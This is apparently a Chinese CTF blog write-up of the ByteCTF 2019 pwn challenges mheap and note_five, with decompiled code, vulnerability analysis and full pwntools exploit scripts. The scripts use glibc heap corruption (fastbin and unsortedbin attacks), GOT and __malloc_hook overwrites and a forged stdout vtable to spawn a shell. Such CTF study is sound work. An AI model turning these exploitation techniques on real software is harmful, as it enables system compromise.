ByteCTF 2019 pwn

最近一直忙着项目,都没有时间做题了,还有就是研二开学感觉突然压力就大了,没有耐心做题了。

mheap

题目描述

题目没有PIE,got表可写。

1
2
3
4
5
6
[*] '/home/ubuntu/Documents/2019/bytectf/mheap/mheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

首先题目mmap了一段内存,大小为0x1000,起始地址为0x23330000,然后在这段内存上实现了我们常见的add、free、show和edit。在整个过程中,有几个比较重要的全局变量,首先是全局的heap_list,记录每个chunk分配的地址。有一个freed_size,在初始时被设为0x1000,只要add它就会减去相应的大小。alloc_start是add的起始地址,就是空闲内存的起始地址。new_freed会记录最新释放的chunk的大小,然后以单链表的形式连接,在每次add时会先去整个空闲链表中去寻找有没有合适大小的chunk,如果有的话会直接返回,如果没有的话就会在alloc_start为起始地址进行切割。

1
2
3
4
5
6
7
8
9
10
.bss:00000000004040C0 freed_size      dq ?                    ; DATA XREF: sub_40122D+8A↑w
.bss:00000000004040C0 ; sub_40138A:loc_4013E5↑r ...
.bss:00000000004040C8 alloc_start dq ? ; DATA XREF: sub_40122D+83↑w
.bss:00000000004040C8 ; sub_40138A:loc_4013F8↑r ...
.bss:00000000004040D0 new_freed dq ? ; DATA XREF: sub_40122D+95↑w
.bss:00000000004040D0 ; get_freed_chunk+7↑r ...
.bss:00000000004040D8 align 20h
.bss:00000000004040E0 ; _QWORD heap_list[16]
.bss:00000000004040E0 heap_list dq 10h dup(?) ; DATA XREF: free+1C↑o
.bss:00000000004040E0 ; free+37↑o ...

在add函数中,程序接受size和content的输入,在输入size后,有一个函数处理,会检查是否能被0x10整除,然后向后进行0x10的对齐,就像在64位环境下堆的分配那样。得到对其后的final_size后,get_freed_chunk函数会先检查空闲链表有没有与final_size大小一致的chunk,如果有会直接返回其地址,也就是v5,如果没有的话会先进行freed_size的检查,因为题目限制最多累计分配0x1000大小的内存,通过检查后会从alloc_start进行分配,同时更新freed_size和alloc_start。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *__fastcall sub_40138A(int size)
{
_QWORD *v2; // ST10_8
int v3; // [rsp+4h] [rbp-14h]
int final_size; // [rsp+4h] [rbp-14h]
_QWORD *v5; // [rsp+10h] [rbp-8h]

v3 = size;
if ( size <= 0 )
return 0LL;
if ( size & 0xF ) // 判断能否被0x10整除
v3 = size + 16 - (size & 0xF); // size向后对齐0x10
final_size = v3 + 0x10;
v5 = get_freed_chunk(final_size);
if ( v5 ) //找到对应大小的空闲chunk
return v5 + 2;
if ( freed_size <= 0 )
return 0LL;
v2 = (_QWORD *)alloc_start;
alloc_start += final_size;
freed_size -= final_size;
*v2 = final_size;
return v2 + 2;
}

在free功能中,会将上一个freed chunk保存在其chunk的起始地址偏移0x8处,起始地址处会保存size,然后更新new_freed,这样类似于fastbin一样就串起来了。最后清空全局的heap_list对应位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall free(unsigned int a1)
{
__int64 v1; // rax

if ( a1 <= 0xF )
{
v1 = heap_list[a1];
if ( v1 )
{
sub_40144C(heap_list[a1]);
heap_list[a1] = 0LL;
LODWORD(v1) = puts("Done!");
}
}
return v1;
}

signed __int64 __fastcall sub_40144C(__int64 a1)
{
signed __int64 result; // rax

*(_QWORD *)(a1 - 16 + 8) = new_freed; // fd为前一个释放的chunk
result = a1 - 16;
new_freed = a1 - 16;
return result;
}

edit没有什么特殊的,限制只能edit的字节数为0x10。show功能调用puts函数进行输出。

题目漏洞

当时比赛时这是第一题,一直没找到漏洞在哪,而且我发现我当时漏看了一个地方,就是如果找到合适的空闲chunk会直接返回,我之前一直被整个freed_size限制了思路,一直考虑超过0x1000就不能再进行add了。但是只要分配之前free的大小的chunk是没有问题的。
题目的漏洞在add功能里面,在进行size的对齐后得到final_size,但是没有再进行检查,而是先去寻找有没有合适的chunk,再去检查freed_size的限制和更新freed_size。这样如果上次的freed_size不为0,假如是0x10,我们申请了一个0x80大小的chunk也是可以通过检查的,问题就出现在这里,如果alloc_start的起始地址是0x23330ff0,我们就可以申请到0x23331000以后的内存,但是0x23331000之后的内存是非法的,不可写,当我们输入content的时候调用my_read函数,当写0x23331000之后的内存时因为不可写,所以read函数会返回-1,那么v4=-1,buf的下标i就会变小,这样就可以写到前面一个chunk的内容,如果上一个chunk是一个freed chunk,可以去修改其fd指针,然后就是类似于fastbin attack的常规操作了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall my_read(__int64 buf, signed int size)
{
__int64 result; // rax
signed int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

i = 0;
do
{
result = (unsigned int)i;
if ( i >= size )
break;
v4 = read(0, (void *)(buf + i), size - i);
if ( !v4 )
exit(0);
i += v4;
result = *(unsigned __int8 *)(i - 1LL + buf);
}
while ( (_BYTE)result != 10 );
return result;
}

这里其实还有一个问题,因为read函数返回值是-1,这样result就会被赋值为前一个chunk的数据,因为result相当于是目前数据指针的前一个字节,如果前面chunk的数据里有’\n’,循环就会停止了,这样就不能再继续向前覆盖了,所以后面exp里idx1的content长度与其size是一样的,全部填充,为了避免换行符。开始我是随便填充的“bbbb\n”,就发现会被截断,就没法再往前覆盖了。

利用

找到漏洞了利用起来比较简单,首先分配两个chunk,然后释放idx1,然后分配到非法内存处,修改idx1的fd为0x4040d0,整个地址是new_freed的地址处,它的内容是idx1的起始地址,这里是0x23330fd0。

1
2
3
4
5
add(0,0xfc0,"aaaa\n")
add(1,0x10,"b"*0x10)
delete(1)

add(2,0x80,p64(0x4040d0)+"c"*(0x20-1)+"\n")

然后再进行add,size的大小就是0x23330fd0-0x10,这样就可以绕过add中freed_size的检查,因为现在freed_size已经是负数了。从空闲链表中取出起始地址为0x4040d0的chunk,并在0x4040e0处写入atoi函数的got表地址,该处是heap_list[0]的位置,再进行show就可以泄露atoi函数地址从而得到libc的基址。

1
2
3
4
5
6
add(3,0x23330fd0-0x10,p64(elf.got["atoi"])+'\n')
show(0)

atoi_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.symbols["atoi"]
system_addr = libc_base + libc.symbols["system"]

最后edit idx0将atoi函数地址修改为system函数地址,再下一次进行choice时输入“/bin/sh\x00”从而触发atoi(“/bins/sh\x00”),也就是system(“/bin/sh\x00”)。

1
2
3
4
5
6
##atoi->system
edit(0,p64(system_addr)+'\n')

##trigger
p.recvuntil("Your choice: ")
p.sendline("/bin/sh\x00")

完整的exp可以看这位大佬的帖子

note_five

题目描述 & 题目漏洞

菜单题目,有三个功能,add、delete和edit,没有show,限制只能申请5个chunk,说是五个,其实可以重复申请,根据索引号可以覆盖前一个。题目限制了可申请堆块的大小为0x90至0x400。read函数里有一个off by one的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall my_read(__int64 a1, signed int size, char a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i > size ) // off by one
break;
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
result = buf;
if ( buf == v4 )
break;
*(_BYTE *)(a1 + i) = buf;
}
return result;
}

关于利用思路,肯定需要利用off by one和chunk overlapping来修改stdout,从而泄露libc。因为题目限制堆块的大小最小为0x90,可以利用unsortedbin attack修改global_max_fast,整个变量限制了fastbin的最大的size。改为一个较大的数后,再利用fastbin attack来修改stdout。后续的利用思路看了网上的writeup有两个,第一个是传统的再次利用fastbin attack来修改malloc_hook,因为不能申请0x70的chunk,所以可以在malloc_hook附近先找一个0xff的fake chunk,然后在malloc_hook较近处写一个0x71,再第二次fastbin attack来申请到malloc_hook附近的chunk,然后修改malloc_hook为one_gadget。但是one_gadget都没能成功,所以可以修改malloc_hook为realloc,然后修改realloc_hook为one_gadget,尝试了之后最终可以将malloc_hook修改为realloc+13,来满足one_gadget的参数要求。

解法一

第一个解法是修改malloc_hook的解法。
首先利用off by one来构造重叠的chunk,这里在进行unsortedbin attack时利用重叠的chunk将unsortedbin中空闲的chunk大小修改为0xf0,然后全部申请出来,不然只申请一部分在解链的时候会报错。0xf0也是后面为了凑stdout附近有一个0xff,可以构造fake chunk。先修改bk为global_max_fast-0x10。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0,0xa0)
add(1,0xa8)
add(2,0xf0)
add(3,0x90)

#gdb.attach(p)

delete(0)
edit(1,'1'*0xa0+p64(0x160)+'\x00')
edit(2,'\x00'*0x70+p64(0)+p64(0x81)+'\n')
delete(2)

add(0,0xe0)
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p64(0)+p16(0x37f8-0x10)+'\n')
add(2,0xe8)

之后释放的idx 2就可以进入到fastbin atack中,然后利用重叠的idx 1来修改idx 2的fd到stdout附近。从而泄露libc。

1
2
3
4
5
6
7
8
9
10
11
delete(2)
##leak libc
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p16(0x25cf)+'\n')
add(2,0xe0)
add(4,0xe0)
edit(4,'\x00'*0x41+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
p.recvn(0x40)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["_IO_2_1_stderr_"] - 192
print "leak_addr:",hex(leak_addr)
print "libc_base:",hex(libc_base)

后面就是多次利用这个0xf0的chunk和重叠的idx 1来进行两次fastbin attack,从而申请到malloc_hook附近,再修改malloc_hook为realloc+13,realloc_hook为one_gadget。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
context.log_level = "debug"

DEBUG = 1

if DEBUG:
p = process("./note_five")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(idx,size):
p.recvuntil("choice>> ")
p.sendline('1')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))

def edit(idx,content):
p.recvuntil("choice>> ")
p.sendline('2')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(content)

def delete(idx):
p.recvuntil("choice>> ")
p.sendline('3')
p.recvuntil("idx: ")
p.sendline(str(idx))


add(0,0xa0)
add(1,0xa8)
add(2,0xf0)
add(3,0x90)

#gdb.attach(p)

delete(0)
edit(1,'1'*0xa0+p64(0x160)+'\x00')
edit(2,'\x00'*0x70+p64(0)+p64(0x81)+'\n')
delete(2)

add(0,0xe0)
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p64(0)+p16(0x37f8-0x10)+'\n')
#edit(1,'1'*0x30+p64(0)+p64(0x171)+p64(0)+p16(0x37f8-0x10)+'\n')
#add(4,0x160)
add(2,0xe8)
delete(2)

##leak libc
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p16(0x25cf)+'\n')
add(2,0xe0)
add(4,0xe0)
edit(4,'\x00'*0x41+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')

p.recvn(0x40)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["_IO_2_1_stderr_"] - 192
print "leak_addr:",hex(leak_addr)
print "libc_base:",hex(libc_base)

malloc_hook = libc_base + libc.symbols["__malloc_hook"]
realloc = libc_base + libc.symbols["realloc"]
realloc_hook = libc_base + libc.symbols["__realloc_hook"]
one_gadget = libc_base + 0x4526a

##write size 0xf1 near malloc_hook
malloc_gadget = libc_base + libc.symbols["_IO_2_1_stdin_"] + 143
delete(2)
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p64(malloc_gadget)+'\n')
add(2,0xe0)
add(4,0xe0)
edit(4,'\x00'*0xe0+p64(0xf1)+'\n')

##
delete(2)
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p64(malloc_hook-0xb9)+'\n')
add(2,0xe0)
add(4,0xe0)
#edit(4,'\x00'*0xa1+)
edit(4,'\x00'*0xa1+p64(one_gadget)+p64(realloc+13)+'\n')


##trigger
add(4,0x90)
p.interactive()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

解法二

解法二是看了队里大佬这次比赛的writeup,思路是伪造_IO_2_1_stdout_的虚表。先利用泄露libc之后可以完全控制stdout,先利用edit在stdout附近先构造好虚表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ p * (struct _IO_jump_t*) 0x7ffff7dd25df
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7afe147 <exec_comm+2263>,
__overflow = 0x7ffff7afe147 <exec_comm+2263>,
__underflow = 0x7ffff7afe147 <exec_comm+2263>,
__uflow = 0x7ffff7afe147 <exec_comm+2263>,
__pbackfail = 0x7ffff7afe147 <exec_comm+2263>,
__xsputn = 0x7ffff7afe147 <exec_comm+2263>,
__xsgetn = 0xfbad180000,
__seekoff = 0x7ffff7dd26a300,
__seekpos = 0x7ffff7dd26a300,
__setbuf = 0x7ffff7dd26a300,
__sync = 0x7ffff7dd26a300,
__doallocate = 0x7ffff7dd26a300,
__read = 0x7ffff7dd26a400,
__write = 0x7ffff7dd26a300,
__seek = 0x7ffff7dd26a400,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

然后再利用一次fastbin attack来申请到stdout附近的chunk,因为一次edit长度不够,所以需要再次构造一次,虚表指针在偏移0xd8处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ p *(struct _IO_FILE_plus *) 0x00007ffff7dd2620
$1 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "c",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "c",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "c",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "c",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "c",
_IO_write_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "c",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "c",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd25df <_IO_2_1_stderr_+159>
}

在后续调用printf时程序会调用_IO_2_1_stdout_虚表中的__xsputn,从而触发one_gadget。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context.log_level = "debug"


DEBUG = 1

if DEBUG:
p = process("./note_five")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(idx,size):
p.recvuntil("choice>> ")
p.sendline('1')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))

def edit(idx,content):
p.recvuntil("choice>> ")
p.sendline('2')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(content)

def delete(idx):
p.recvuntil("choice>> ")
p.sendline('3')
p.recvuntil("idx: ")
p.sendline(str(idx))


add(0,0xa0)
add(1,0xa8)
add(2,0xf0)
add(3,0x90)

delete(0)
edit(1,'1'*0xa0+p64(0x160)+'\x00')
edit(2,'\x00'*0x70+p64(0)+p64(0x81)+'\n')
delete(2)

add(0,0xe0)
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p64(0)+p16(0x37f8-0x10)+'\n')
add(2,0xe8)
delete(2)

##leak libc
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p16(0x25cf)+'\n')
add(2,0xe0)
add(4,0xe0)
edit(4,'\x00'*0x41+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')

p.recvn(0x40)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["_IO_2_1_stderr_"] - 192
print "leak_addr:",hex(leak_addr)
print "libc_base:",hex(libc_base)

##fake vtable
one_gadget = libc_base + 0xf1147
fake_vtable = libc_base + libc.symbols["_IO_2_1_stderr_"] + 159
payload = p64(0) *2 + p64(one_gadget) *6
edit(4,payload+'\n')

##fake stdout
stdout = libc_base + libc.symbols["_IO_2_1_stdout_"]
delete(2)
edit(1,'1'*0x30+p64(0)+p64(0xf1)+p64(stdout+143)+'\n')
add(2,0xe0)
add(4,0xe0)

gdb.attach(p)


payload = '\x00' + p64(stdout-(0x00007ffff7dd2620-0x7ffff7dd17a0))
payload += p64(0)*3 + p64(0xffffffff) + p64(0)*2
payload += p64(fake_vtable)
edit(4,payload+'\n')

p.interactive()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

参考

https://bbs.pediy.com/thread-254367.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/